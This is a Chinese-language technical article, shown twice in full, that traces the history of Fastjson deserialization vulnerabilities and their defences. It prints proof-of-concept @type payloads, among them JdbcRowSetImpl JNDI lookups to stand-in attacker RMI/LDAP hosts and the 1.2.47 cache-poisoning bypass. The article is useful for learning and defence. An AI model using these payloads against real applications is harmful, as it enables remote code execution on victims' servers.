1. 项目概述从字节码到漏洞一次Java安全之旅最近在复盘Java安全相关的知识体系发现很多朋友对Fastjson反序列化漏洞的理解还停留在“知道有这么个漏洞”的层面对于它为什么能发生、如何一步步演化、以及字节码在其中扮演的关键角色缺乏一个系统性的认知。今天我就从一个资深Java开发兼安全研究者的角度来拆解这个堪称“Java安全教科书”的经典案例。这不仅仅是讲一个漏洞更是理解Java序列化机制、字节码动态加载和JNDI注入攻击的绝佳窗口。无论你是想夯实Java基础、准备安全面试还是想在实际项目中规避此类风险这篇文章都会带你从原理到实操彻底搞懂Fastjson反序列化漏洞的来龙去脉。2. 核心原理字节码、序列化与Fastjson的“自省”机制要理解Fastjson漏洞我们必须先理清三个核心概念Java字节码、序列化/反序列化以及Fastjson独有的type特性。很多人混淆了Java原生序列化和JSON序列化这是第一个需要厘清的点。2.1 Java字节码与动态加载的本质Java程序运行在JVM上JVM执行的是.class文件中的字节码。字节码是Java源代码编译后的中间表示它包含了类的所有信息字段、方法、常量池等。正常情况下类是由类加载器从文件系统或网络中加载的。但Java也提供了动态生成和加载字节码的能力例如通过ClassLoader.defineClass()方法或者利用java.lang.reflect.Proxy、javassist、ASM等工具。为什么动态加载字节码是危险的因为攻击者可以构造一段恶意的字节码其中包含执行任意命令如Runtime.getRuntime().exec(“calc”)的代码。如果程序在反序列化过程中无意间加载并实例化了这段恶意字节码就相当于为攻击者打开了执行系统命令的大门。Fastjson漏洞的核心利用链之一——TemplatesImpl链正是利用了这一点。2.2 序列化与反序列化对象与数据的桥梁序列化是将对象的状态信息转换为可以存储或传输的形式如字节流、JSON字符串的过程。反序列化则是其逆过程将存储或传输的数据重新构造成内存中的对象。Java原生序列化基于Serializable接口使用ObjectOutputStream和ObjectInputStream。它序列化的是整个对象图包含类型信息但格式是二进制的不便于阅读和跨语言。JSON序列化将对象转换为JSON字符串轻量、可读、跨语言。Fastjson、Jackson、Gson都是干这个的。关键区别在于标准的JSON序列化只关心数据name: “value”不关心类型。一个{“age”: 20}的JSON反序列化时它可能是一个Person对象也可能是一个Animal对象这需要调用者显式指定目标类。2.3 Fastjson的“特色功能”type与AutoTypeFastjson为了提供更“强大”的功能引入了一个特性在序列化时可以通过SerializerFeature.WriteClassName参数在生成的JSON字符串中嵌入原始对象的类型信息。这个信息就是通过type这个特殊的字段来保存的。Person person new Person(“Alice”, 25); // 普通序列化 String json1 JSON.toJSONString(person); // 输出: {“age”:25, “name”:”Alice”} // 带类型信息的序列化 String json2 JSON.toJSONString(person, SerializerFeature.WriteClassName); // 输出: {“type”:”com.example.Person”, “age”:25, “name”:”Alice”}在反序列化时如果JSON字符串中包含type字段Fastjson就会尝试根据该字段的值去加载对应的类并创建实例。这个过程被称为“AutoType”自动类型识别。这个设计的初衷是好的方便开发者无需手动指定Person.classFastjson就能自动还原成正确的类型。但正是这个“自动化”的过程埋下了巨大的安全隐患。因为它意味着反序列化的过程不再完全由开发者控制攻击者可以通过精心构造的type值让Fastjson去加载任何一个存在于ClassPath中的类。实操心得在早期的项目评审中我见过不少团队为了“方便”默认开启WriteClassName特性或者使用JSON.parseObject(jsonString)而不指定目标类这会导致Fastjson尝试使用AutoType去解析type。这相当于把类的加载控制权部分交给了不可信的输入数据是极其危险的做法。一个核心安全原则就是永远不要反序列化不可信的数据尤其不要让它决定反序列化成什么类。3. 漏洞演化史一场攻防拉锯战Fastjson的反序列化漏洞不是单一漏洞而是一系列漏洞的集合。它的修复史就是一部经典的“攻击者发现绕过方法 - 开发者修复 - 攻击者发现新绕过方法”的攻防教科书。理解这个脉络比死记硬背几个POC更有价值。3.1 漏洞的起源1.2.24及之前的“无约束”时代在这个版本区间AutoType功能默认是开启的且没有任何黑名单限制。攻击者可以直接在type中指定危险的类。利用链一TemplatesImpl动态加载字节码这是最“经典”的利用方式。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类有一个_bytecodes属性它可以接收字节码数组并在类内部调用defineClass加载它。更关键的是它有一个getOutputProperties()方法该方法会在内部触发对新加载类的实例化。攻击者构造的POC如下{ “type”: “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”, “_bytecodes”: [“恶意类的Base64编码字节码”], “_name”: “anything”, “_tfactory”: {}, “_outputProperties”: {} }当Fastjson反序列化这个JSON时根据type创建TemplatesImpl实例。调用setter方法为_bytecodes等属性赋值。在解析_outputProperties时Fastjson会尝试调用getOutputProperties()这个getter方法来获取值这是Fastjson的一个解析特性在解析过程中会调用getter。这个调用触发了TemplatesImpl内部的字节码加载和实例化流程从而执行了恶意代码。利用链二JdbcRowSetImpl触发JNDI注入这是另一个经典链利用了com.sun.rowset.JdbcRowSetImpl类。这个类在反序列化设置dataSourceName属性时会调用setAutoCommit(true)进而调用connect()方法最终执行InitialContext.lookup(dataSourceName)。POC如下{ “type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “rmi://attacker-server:1099/Exploit”, “autoCommit”: true }攻击者只需要搭建一个恶意的RMI或LDAP服务指向一个包含恶意Java类的地址。当受害应用反序列化此JSON时就会向攻击者的服务器发起JNDI查询加载并执行远程的恶意类实现远程代码执行。注意事项JNDI注入的成功与否与目标服务器的Java版本密切相关。在Java 8u121、7u131、6u141之后默认限制了从远程地址加载工厂类增加了利用难度但在特定环境下如存在其他可利用的gadget链仍可能成功。这提醒我们不能仅仅依赖高版本来防御根本还是要杜绝反序列化不可信数据。3.2 第一道防线1.2.25版本引入黑白名单在1.2.24漏洞被公开后Fastjson在1.2.25版本做出了重大修复默认关闭了AutoType支持并引入了一个黑名单机制。黑名单里包含了com.sun.、java.lang.Thread、org.apache.commons.collections等已知的危险类包名。此时直接使用之前的POC会抛出autoType is not support异常。修复逻辑在checkAutoType方法中先检查类名是否在黑名单中如果在则直接拒绝。3.3 绕过与修复的轮回1.2.25 – 1.2.47攻击者并没有就此罢休他们发现了黑白名单校验逻辑的漏洞上演了一出精彩的“绕过秀”。绕过11.2.25-1.2.41L和;包裹开发者为了处理数组和内部类在TypeUtils.loadClass中有这样的逻辑如果类名以L开头、以;结尾则去掉首尾的L和;再加载。于是攻击者将类名写成Lcom.sun.rowset.JdbcRowSetImpl;成功绕过了黑名单字符串匹配。因为黑名单检查的是原始字符串而loadClass会对其进行“净化”。修复11.2.42哈希黑名单与一次净化开发者将黑名单从字符串匹配改为了哈希匹配并在checkAutoType中先对Lxxx;格式做了一次净化去掉首尾再用净化后的名字计算哈希去匹配黑名单。这样Lcom.sun.rowset.JdbcRowSetImpl;净化后变成com.sun.rowset.JdbcRowSetImpl其哈希值仍在黑名单中被拦截。绕过21.2.42双写LL和;;攻击者发现checkAutoType只做一次净化而loadClass是递归净化。于是构造LLcom.sun.rowset.JdbcRowSetImpl;;。checkAutoType净化一次后变成Lcom.sun.rowset.JdbcRowSetImpl;哈希检查通过因为计算的是净化后字符串的哈希。进入loadClass后递归净化两次最终变成com.sun.rowset.JdbcRowSetImpl加载成功。修复21.2.43禁止双写开发者在checkAutoType中增加检查如果类名以LL开头直接报错不支持。绕过31.2.25-1.2.45利用不在黑名单中的第三方库黑名单不可能覆盖所有危险类。攻击者发现了MyBatis框架中的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类。该类有一个setProperties方法其中会调用InitialContext.lookup()。由于该类不在Fastjson的黑名单中只要AutoType被显示开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true)就可以直接利用。修复31.2.46更新黑名单将org.apache.ibatis等相关包加入黑名单。3.4 里程碑式的绕过1.2.47的“缓存投毒”攻击这是Fastjson历史上影响最广泛的漏洞之一因为它在默认配置AutoType关闭下即可利用无需开启setAutoTypeSupport(true)。攻击原理 Fastjson内部有两个重要的缓存Mapmappings和deserializers。checkAutoType方法在拒绝加载一个类之前会先检查这两个缓存里是否已经有这个类。如果有则直接返回绕过了黑名单检查。攻击者发现可以通过一个“引导”JSON先向缓存中放入恶意类。POC结构如下{ “a”: { “type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl” }, “b”: { “type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “ldap://attacker.com/Exploit”, “autoCommit”: true } }分步解析Fastjson解析外层对象有两个keya和b。解析a的值内层JSON。type是java.lang.Class。Fastjson内部有一个针对Class.class类型的反序列化器MiscCodec。MiscCodec.deserialize()方法在处理java.lang.Class类型时会读取val字段的值即”com.sun.rowset.JdbcRowSetImpl”并调用TypeUtils.loadClass(val)。关键点TypeUtils.loadClass方法在加载类后会将其缓存到mappings这个HashMap中。此时com.sun.rowset.JdbcRowSetImpl这个类已经被悄悄地、合法地因为它是通过java.lang.Class这个合法类型加载的添加到了mappings缓存里。接着解析b的值。type是com.sun.rowset.JdbcRowSetImpl。checkAutoType检查时发现AutoType未开启准备拒绝。但在拒绝前它先去mappings缓存里查找惊喜地发现这个类已经在缓存里了于是它直接返回了这个类的Class对象完全绕过了黑名单校验。后续流程正常进行成功触发JNDI注入。这个漏洞的精妙之处在于它利用了Fastjson自身缓存机制的逻辑缺陷完成了一次“缓存投毒”让黑名单形同虚设。修复1.2.48在TypeUtils.loadClass加载java.lang.Class类型时增加了cache参数控制默认不再缓存。同时在MiscCodec中也将缓存设置为false彻底堵死了这条利用路径。3.5 后续版本与SafeMode在后续版本中Fastjson不断更新黑名单并引入了SafeMode安全模式。开启SafeMode后AutoType功能将被彻底禁用任何type属性都会被忽略。这是最根本的解决方案。排查技巧实录在应急响应中如何快速判断一个应用是否使用了有漏洞的Fastjson版本除了检查pom.xml或gradle文件一个常用的技巧是观察报错信息。早期版本如1.2.24在遇到不支持的类时错误信息可能与高版本不同。更直接的方法是如果应用接收JSON输入可以尝试发送一个包含type的畸形JSON观察其返回的异常堆栈信息中是否包含com.alibaba.fastjson的类名和行号这能帮你快速定位。4. 漏洞深度解析为什么Getter/Setter会被调用很多初学者会疑惑反序列化不是调用构造方法或者setter方法给属性赋值吗为什么TemplatesImpl漏洞里是getOutputProperties()这个getter方法触发的这涉及到Fastjson独特的反序列化机制。它与Java原生序列化不同并非通过反射直接设置字段值。Fastjson反序列化的核心过程可以简化为解析与构建解析JSON字符串构建一个JSON对象如JSONObject。根据type或指定类创建目标对象实例通过反射调用无参构造器。属性填充遍历JSON中的key-value对。对于每个key如_outputProperties首先尝试寻找对应的public setter方法如set_outputProperties。如果找到则调用它并传入value。如果找不到setterFastjson会尝试寻找对应的public getter方法如getOutputProperties。注意这里找getter不是为了赋值而是为了探测属性的类型因为JSON中的value可能是复杂的嵌套对象Fastjson需要知道这个属性是什么类型才能正确地反序列化value。在调用getter获取到属性类型后Fastjson会递归地反序列化value并最终通过反射直接修改字段值即使字段是private的前提是使用了Feature.SupportNonPublicField特性。在TemplatesImpl利用链中_outputProperties字段没有public的setter但有一个public的gettergetOutputProperties()。当Fastjson解析到“_outputProperties”: {}时它找不到set_outputProperties。于是它找到并调用了getOutputProperties()目的是获取这个属性的类型Properties。然而getOutputProperties()方法内部并不仅仅是返回属性值那么简单。它包含了一段初始化逻辑会去调用newTransformer()进而触发之前通过_bytecodes加载的恶意类的实例化。这就导致了漏洞的触发。所以根本原因在于Fastjson在反序列化过程中为了确定字段类型会主动调用getter方法。而某些类的getter方法内部包含了危险的初始化逻辑。这给我们一个深刻教训在设计Java Bean时要警惕getter/setter中的业务逻辑特别是那些涉及资源加载、网络连接、命令执行的操作。5. 防御方案与最佳实践了解了攻击原理防御就有的放矢了。以下是我在多年项目实践中总结的层层递进的防御方案。5.1 终极方案升级与启用SafeMode升级到最新版本始终使用Fastjson的最新稳定版1.2.83及以上并关注其安全公告。启用SafeMode这是最彻底、最推荐的方式。在启动参数或代码中全局开启安全模式一劳永逸地禁用AutoType。// 方式1启动参数 // -Dfastjson.parser.safeModetrue // 方式2代码中设置 ParserConfig.getGlobalInstance().setSafeMode(true);开启后所有type特性失效Fastjson将按照标准JSON库的方式工作只能反序列化到开发者显式指定的类。5.2 开发规范指定具体类型与输入校验反序列化时显式指定Class绝对不要使用JSON.parseObject(jsonString)这种不指定目标类的方法。务必使用JSON.parseObject(jsonString, YourSpecificClass.class)。// 错误示范让Fastjson去猜类型 Object obj JSON.parseObject(untrustedJson); // 正确做法明确指定类型 Person person JSON.parseObject(untrustedJson, Person.class);严格进行输入校验对所有外部输入的JSON数据进行合法性校验包括格式、字段类型、长度、范围等。可以使用JSON Schema或自定义校验逻辑。对于包含type字段的请求直接拒绝。5.3 架构与部署层面JVM层面限制使用高版本JDK8u121, 7u131, 6u141并设置以下安全属性可以缓解JNDI注入类的攻击。-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse网络隔离与WAF在生产环境中对应用服务器进行网络隔离限制其对外发起非常规端口如RMI的1099LDAP的389的网络请求。部署Web应用防火墙WAF配置规则拦截包含可疑type类名如com.sun.、org.apache.等的请求。依赖管理使用Maven Enforcer或Dependabot等工具禁止引入已知存在高危漏洞的Fastjson版本如1.2.24, 1.2.47等。5.4 代码审计自查清单在代码审计或自查时可以重点关注以下几点全局搜索JSON.parseObject()和JSON.parse()的调用点。检查是否使用了SerializerFeature.WriteClassName进行序列化。检查是否调用了ParserConfig.getGlobalInstance().setAutoTypeSupport(true)。检查反序列化操作的数据源是否来自用户可控的输入如HTTP请求参数、Cookie、Header、RPC接口参数、数据库存储的JSON等。6. 从Fastjson漏洞中学到的Java安全启示Fastjson漏洞系列不仅仅是某个库的历史它深刻地反映了Java生态中一些普遍的安全问题。启示一魔法特性是把双刃剑。type这类为了“方便”而设计的魔法特性极大地增加了系统的攻击面。在框架设计时安全性和便利性需要谨慎权衡默认设置应该倾向于安全。启示二反序列化是危险的边界。任何将外部数据“重建”为内部对象的操作都是高危操作。这包括Java原生序列化、XMLDecoder、YAML解析、以及各种JSON库的反序列化功能。安全编码的第一课就是不要反序列化不可信的数据。启示三依赖管理是安全基石。Fastjson的漏洞几乎全部源于其自身逻辑缺陷。使用开源组件时必须持续关注其安全动态建立及时的漏洞预警和升级机制。不要抱有“我的代码没调用危险方法就安全”的侥幸心理。启示四深度防御Defense in Depth。没有单一的银弹。防御Fastjson漏洞需要组合拳升级组件、修改代码、配置JVM、部署网络策略。在安全领域多层、异构的防御才能构建起稳固的防线。回顾整个Fastjson漏洞史它像一面镜子照见了我们在追求开发效率时对安全性的忽视。作为开发者我们应当从中吸取教训将安全思维融入软件开发生命周期的每一个环节从设计、编码、测试到部署运维构建真正可信赖的系统。
Fastjson反序列化漏洞深度解析:从字节码加载到JNDI注入的攻防实战
1. 项目概述从字节码到漏洞一次Java安全之旅最近在复盘Java安全相关的知识体系发现很多朋友对Fastjson反序列化漏洞的理解还停留在“知道有这么个漏洞”的层面对于它为什么能发生、如何一步步演化、以及字节码在其中扮演的关键角色缺乏一个系统性的认知。今天我就从一个资深Java开发兼安全研究者的角度来拆解这个堪称“Java安全教科书”的经典案例。这不仅仅是讲一个漏洞更是理解Java序列化机制、字节码动态加载和JNDI注入攻击的绝佳窗口。无论你是想夯实Java基础、准备安全面试还是想在实际项目中规避此类风险这篇文章都会带你从原理到实操彻底搞懂Fastjson反序列化漏洞的来龙去脉。2. 核心原理字节码、序列化与Fastjson的“自省”机制要理解Fastjson漏洞我们必须先理清三个核心概念Java字节码、序列化/反序列化以及Fastjson独有的type特性。很多人混淆了Java原生序列化和JSON序列化这是第一个需要厘清的点。2.1 Java字节码与动态加载的本质Java程序运行在JVM上JVM执行的是.class文件中的字节码。字节码是Java源代码编译后的中间表示它包含了类的所有信息字段、方法、常量池等。正常情况下类是由类加载器从文件系统或网络中加载的。但Java也提供了动态生成和加载字节码的能力例如通过ClassLoader.defineClass()方法或者利用java.lang.reflect.Proxy、javassist、ASM等工具。为什么动态加载字节码是危险的因为攻击者可以构造一段恶意的字节码其中包含执行任意命令如Runtime.getRuntime().exec(“calc”)的代码。如果程序在反序列化过程中无意间加载并实例化了这段恶意字节码就相当于为攻击者打开了执行系统命令的大门。Fastjson漏洞的核心利用链之一——TemplatesImpl链正是利用了这一点。2.2 序列化与反序列化对象与数据的桥梁序列化是将对象的状态信息转换为可以存储或传输的形式如字节流、JSON字符串的过程。反序列化则是其逆过程将存储或传输的数据重新构造成内存中的对象。Java原生序列化基于Serializable接口使用ObjectOutputStream和ObjectInputStream。它序列化的是整个对象图包含类型信息但格式是二进制的不便于阅读和跨语言。JSON序列化将对象转换为JSON字符串轻量、可读、跨语言。Fastjson、Jackson、Gson都是干这个的。关键区别在于标准的JSON序列化只关心数据name: “value”不关心类型。一个{“age”: 20}的JSON反序列化时它可能是一个Person对象也可能是一个Animal对象这需要调用者显式指定目标类。2.3 Fastjson的“特色功能”type与AutoTypeFastjson为了提供更“强大”的功能引入了一个特性在序列化时可以通过SerializerFeature.WriteClassName参数在生成的JSON字符串中嵌入原始对象的类型信息。这个信息就是通过type这个特殊的字段来保存的。Person person new Person(“Alice”, 25); // 普通序列化 String json1 JSON.toJSONString(person); // 输出: {“age”:25, “name”:”Alice”} // 带类型信息的序列化 String json2 JSON.toJSONString(person, SerializerFeature.WriteClassName); // 输出: {“type”:”com.example.Person”, “age”:25, “name”:”Alice”}在反序列化时如果JSON字符串中包含type字段Fastjson就会尝试根据该字段的值去加载对应的类并创建实例。这个过程被称为“AutoType”自动类型识别。这个设计的初衷是好的方便开发者无需手动指定Person.classFastjson就能自动还原成正确的类型。但正是这个“自动化”的过程埋下了巨大的安全隐患。因为它意味着反序列化的过程不再完全由开发者控制攻击者可以通过精心构造的type值让Fastjson去加载任何一个存在于ClassPath中的类。实操心得在早期的项目评审中我见过不少团队为了“方便”默认开启WriteClassName特性或者使用JSON.parseObject(jsonString)而不指定目标类这会导致Fastjson尝试使用AutoType去解析type。这相当于把类的加载控制权部分交给了不可信的输入数据是极其危险的做法。一个核心安全原则就是永远不要反序列化不可信的数据尤其不要让它决定反序列化成什么类。3. 漏洞演化史一场攻防拉锯战Fastjson的反序列化漏洞不是单一漏洞而是一系列漏洞的集合。它的修复史就是一部经典的“攻击者发现绕过方法 - 开发者修复 - 攻击者发现新绕过方法”的攻防教科书。理解这个脉络比死记硬背几个POC更有价值。3.1 漏洞的起源1.2.24及之前的“无约束”时代在这个版本区间AutoType功能默认是开启的且没有任何黑名单限制。攻击者可以直接在type中指定危险的类。利用链一TemplatesImpl动态加载字节码这是最“经典”的利用方式。com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类有一个_bytecodes属性它可以接收字节码数组并在类内部调用defineClass加载它。更关键的是它有一个getOutputProperties()方法该方法会在内部触发对新加载类的实例化。攻击者构造的POC如下{ “type”: “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”, “_bytecodes”: [“恶意类的Base64编码字节码”], “_name”: “anything”, “_tfactory”: {}, “_outputProperties”: {} }当Fastjson反序列化这个JSON时根据type创建TemplatesImpl实例。调用setter方法为_bytecodes等属性赋值。在解析_outputProperties时Fastjson会尝试调用getOutputProperties()这个getter方法来获取值这是Fastjson的一个解析特性在解析过程中会调用getter。这个调用触发了TemplatesImpl内部的字节码加载和实例化流程从而执行了恶意代码。利用链二JdbcRowSetImpl触发JNDI注入这是另一个经典链利用了com.sun.rowset.JdbcRowSetImpl类。这个类在反序列化设置dataSourceName属性时会调用setAutoCommit(true)进而调用connect()方法最终执行InitialContext.lookup(dataSourceName)。POC如下{ “type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “rmi://attacker-server:1099/Exploit”, “autoCommit”: true }攻击者只需要搭建一个恶意的RMI或LDAP服务指向一个包含恶意Java类的地址。当受害应用反序列化此JSON时就会向攻击者的服务器发起JNDI查询加载并执行远程的恶意类实现远程代码执行。注意事项JNDI注入的成功与否与目标服务器的Java版本密切相关。在Java 8u121、7u131、6u141之后默认限制了从远程地址加载工厂类增加了利用难度但在特定环境下如存在其他可利用的gadget链仍可能成功。这提醒我们不能仅仅依赖高版本来防御根本还是要杜绝反序列化不可信数据。3.2 第一道防线1.2.25版本引入黑白名单在1.2.24漏洞被公开后Fastjson在1.2.25版本做出了重大修复默认关闭了AutoType支持并引入了一个黑名单机制。黑名单里包含了com.sun.、java.lang.Thread、org.apache.commons.collections等已知的危险类包名。此时直接使用之前的POC会抛出autoType is not support异常。修复逻辑在checkAutoType方法中先检查类名是否在黑名单中如果在则直接拒绝。3.3 绕过与修复的轮回1.2.25 – 1.2.47攻击者并没有就此罢休他们发现了黑白名单校验逻辑的漏洞上演了一出精彩的“绕过秀”。绕过11.2.25-1.2.41L和;包裹开发者为了处理数组和内部类在TypeUtils.loadClass中有这样的逻辑如果类名以L开头、以;结尾则去掉首尾的L和;再加载。于是攻击者将类名写成Lcom.sun.rowset.JdbcRowSetImpl;成功绕过了黑名单字符串匹配。因为黑名单检查的是原始字符串而loadClass会对其进行“净化”。修复11.2.42哈希黑名单与一次净化开发者将黑名单从字符串匹配改为了哈希匹配并在checkAutoType中先对Lxxx;格式做了一次净化去掉首尾再用净化后的名字计算哈希去匹配黑名单。这样Lcom.sun.rowset.JdbcRowSetImpl;净化后变成com.sun.rowset.JdbcRowSetImpl其哈希值仍在黑名单中被拦截。绕过21.2.42双写LL和;;攻击者发现checkAutoType只做一次净化而loadClass是递归净化。于是构造LLcom.sun.rowset.JdbcRowSetImpl;;。checkAutoType净化一次后变成Lcom.sun.rowset.JdbcRowSetImpl;哈希检查通过因为计算的是净化后字符串的哈希。进入loadClass后递归净化两次最终变成com.sun.rowset.JdbcRowSetImpl加载成功。修复21.2.43禁止双写开发者在checkAutoType中增加检查如果类名以LL开头直接报错不支持。绕过31.2.25-1.2.45利用不在黑名单中的第三方库黑名单不可能覆盖所有危险类。攻击者发现了MyBatis框架中的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类。该类有一个setProperties方法其中会调用InitialContext.lookup()。由于该类不在Fastjson的黑名单中只要AutoType被显示开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true)就可以直接利用。修复31.2.46更新黑名单将org.apache.ibatis等相关包加入黑名单。3.4 里程碑式的绕过1.2.47的“缓存投毒”攻击这是Fastjson历史上影响最广泛的漏洞之一因为它在默认配置AutoType关闭下即可利用无需开启setAutoTypeSupport(true)。攻击原理 Fastjson内部有两个重要的缓存Mapmappings和deserializers。checkAutoType方法在拒绝加载一个类之前会先检查这两个缓存里是否已经有这个类。如果有则直接返回绕过了黑名单检查。攻击者发现可以通过一个“引导”JSON先向缓存中放入恶意类。POC结构如下{ “a”: { “type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl” }, “b”: { “type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “ldap://attacker.com/Exploit”, “autoCommit”: true } }分步解析Fastjson解析外层对象有两个keya和b。解析a的值内层JSON。type是java.lang.Class。Fastjson内部有一个针对Class.class类型的反序列化器MiscCodec。MiscCodec.deserialize()方法在处理java.lang.Class类型时会读取val字段的值即”com.sun.rowset.JdbcRowSetImpl”并调用TypeUtils.loadClass(val)。关键点TypeUtils.loadClass方法在加载类后会将其缓存到mappings这个HashMap中。此时com.sun.rowset.JdbcRowSetImpl这个类已经被悄悄地、合法地因为它是通过java.lang.Class这个合法类型加载的添加到了mappings缓存里。接着解析b的值。type是com.sun.rowset.JdbcRowSetImpl。checkAutoType检查时发现AutoType未开启准备拒绝。但在拒绝前它先去mappings缓存里查找惊喜地发现这个类已经在缓存里了于是它直接返回了这个类的Class对象完全绕过了黑名单校验。后续流程正常进行成功触发JNDI注入。这个漏洞的精妙之处在于它利用了Fastjson自身缓存机制的逻辑缺陷完成了一次“缓存投毒”让黑名单形同虚设。修复1.2.48在TypeUtils.loadClass加载java.lang.Class类型时增加了cache参数控制默认不再缓存。同时在MiscCodec中也将缓存设置为false彻底堵死了这条利用路径。3.5 后续版本与SafeMode在后续版本中Fastjson不断更新黑名单并引入了SafeMode安全模式。开启SafeMode后AutoType功能将被彻底禁用任何type属性都会被忽略。这是最根本的解决方案。排查技巧实录在应急响应中如何快速判断一个应用是否使用了有漏洞的Fastjson版本除了检查pom.xml或gradle文件一个常用的技巧是观察报错信息。早期版本如1.2.24在遇到不支持的类时错误信息可能与高版本不同。更直接的方法是如果应用接收JSON输入可以尝试发送一个包含type的畸形JSON观察其返回的异常堆栈信息中是否包含com.alibaba.fastjson的类名和行号这能帮你快速定位。4. 漏洞深度解析为什么Getter/Setter会被调用很多初学者会疑惑反序列化不是调用构造方法或者setter方法给属性赋值吗为什么TemplatesImpl漏洞里是getOutputProperties()这个getter方法触发的这涉及到Fastjson独特的反序列化机制。它与Java原生序列化不同并非通过反射直接设置字段值。Fastjson反序列化的核心过程可以简化为解析与构建解析JSON字符串构建一个JSON对象如JSONObject。根据type或指定类创建目标对象实例通过反射调用无参构造器。属性填充遍历JSON中的key-value对。对于每个key如_outputProperties首先尝试寻找对应的public setter方法如set_outputProperties。如果找到则调用它并传入value。如果找不到setterFastjson会尝试寻找对应的public getter方法如getOutputProperties。注意这里找getter不是为了赋值而是为了探测属性的类型因为JSON中的value可能是复杂的嵌套对象Fastjson需要知道这个属性是什么类型才能正确地反序列化value。在调用getter获取到属性类型后Fastjson会递归地反序列化value并最终通过反射直接修改字段值即使字段是private的前提是使用了Feature.SupportNonPublicField特性。在TemplatesImpl利用链中_outputProperties字段没有public的setter但有一个public的gettergetOutputProperties()。当Fastjson解析到“_outputProperties”: {}时它找不到set_outputProperties。于是它找到并调用了getOutputProperties()目的是获取这个属性的类型Properties。然而getOutputProperties()方法内部并不仅仅是返回属性值那么简单。它包含了一段初始化逻辑会去调用newTransformer()进而触发之前通过_bytecodes加载的恶意类的实例化。这就导致了漏洞的触发。所以根本原因在于Fastjson在反序列化过程中为了确定字段类型会主动调用getter方法。而某些类的getter方法内部包含了危险的初始化逻辑。这给我们一个深刻教训在设计Java Bean时要警惕getter/setter中的业务逻辑特别是那些涉及资源加载、网络连接、命令执行的操作。5. 防御方案与最佳实践了解了攻击原理防御就有的放矢了。以下是我在多年项目实践中总结的层层递进的防御方案。5.1 终极方案升级与启用SafeMode升级到最新版本始终使用Fastjson的最新稳定版1.2.83及以上并关注其安全公告。启用SafeMode这是最彻底、最推荐的方式。在启动参数或代码中全局开启安全模式一劳永逸地禁用AutoType。// 方式1启动参数 // -Dfastjson.parser.safeModetrue // 方式2代码中设置 ParserConfig.getGlobalInstance().setSafeMode(true);开启后所有type特性失效Fastjson将按照标准JSON库的方式工作只能反序列化到开发者显式指定的类。5.2 开发规范指定具体类型与输入校验反序列化时显式指定Class绝对不要使用JSON.parseObject(jsonString)这种不指定目标类的方法。务必使用JSON.parseObject(jsonString, YourSpecificClass.class)。// 错误示范让Fastjson去猜类型 Object obj JSON.parseObject(untrustedJson); // 正确做法明确指定类型 Person person JSON.parseObject(untrustedJson, Person.class);严格进行输入校验对所有外部输入的JSON数据进行合法性校验包括格式、字段类型、长度、范围等。可以使用JSON Schema或自定义校验逻辑。对于包含type字段的请求直接拒绝。5.3 架构与部署层面JVM层面限制使用高版本JDK8u121, 7u131, 6u141并设置以下安全属性可以缓解JNDI注入类的攻击。-Dcom.sun.jndi.rmi.object.trustURLCodebasefalse -Dcom.sun.jndi.ldap.object.trustURLCodebasefalse网络隔离与WAF在生产环境中对应用服务器进行网络隔离限制其对外发起非常规端口如RMI的1099LDAP的389的网络请求。部署Web应用防火墙WAF配置规则拦截包含可疑type类名如com.sun.、org.apache.等的请求。依赖管理使用Maven Enforcer或Dependabot等工具禁止引入已知存在高危漏洞的Fastjson版本如1.2.24, 1.2.47等。5.4 代码审计自查清单在代码审计或自查时可以重点关注以下几点全局搜索JSON.parseObject()和JSON.parse()的调用点。检查是否使用了SerializerFeature.WriteClassName进行序列化。检查是否调用了ParserConfig.getGlobalInstance().setAutoTypeSupport(true)。检查反序列化操作的数据源是否来自用户可控的输入如HTTP请求参数、Cookie、Header、RPC接口参数、数据库存储的JSON等。6. 从Fastjson漏洞中学到的Java安全启示Fastjson漏洞系列不仅仅是某个库的历史它深刻地反映了Java生态中一些普遍的安全问题。启示一魔法特性是把双刃剑。type这类为了“方便”而设计的魔法特性极大地增加了系统的攻击面。在框架设计时安全性和便利性需要谨慎权衡默认设置应该倾向于安全。启示二反序列化是危险的边界。任何将外部数据“重建”为内部对象的操作都是高危操作。这包括Java原生序列化、XMLDecoder、YAML解析、以及各种JSON库的反序列化功能。安全编码的第一课就是不要反序列化不可信的数据。启示三依赖管理是安全基石。Fastjson的漏洞几乎全部源于其自身逻辑缺陷。使用开源组件时必须持续关注其安全动态建立及时的漏洞预警和升级机制。不要抱有“我的代码没调用危险方法就安全”的侥幸心理。启示四深度防御Defense in Depth。没有单一的银弹。防御Fastjson漏洞需要组合拳升级组件、修改代码、配置JVM、部署网络策略。在安全领域多层、异构的防御才能构建起稳固的防线。回顾整个Fastjson漏洞史它像一面镜子照见了我们在追求开发效率时对安全性的忽视。作为开发者我们应当从中吸取教训将安全思维融入软件开发生命周期的每一个环节从设计、编码、测试到部署运维构建真正可信赖的系统。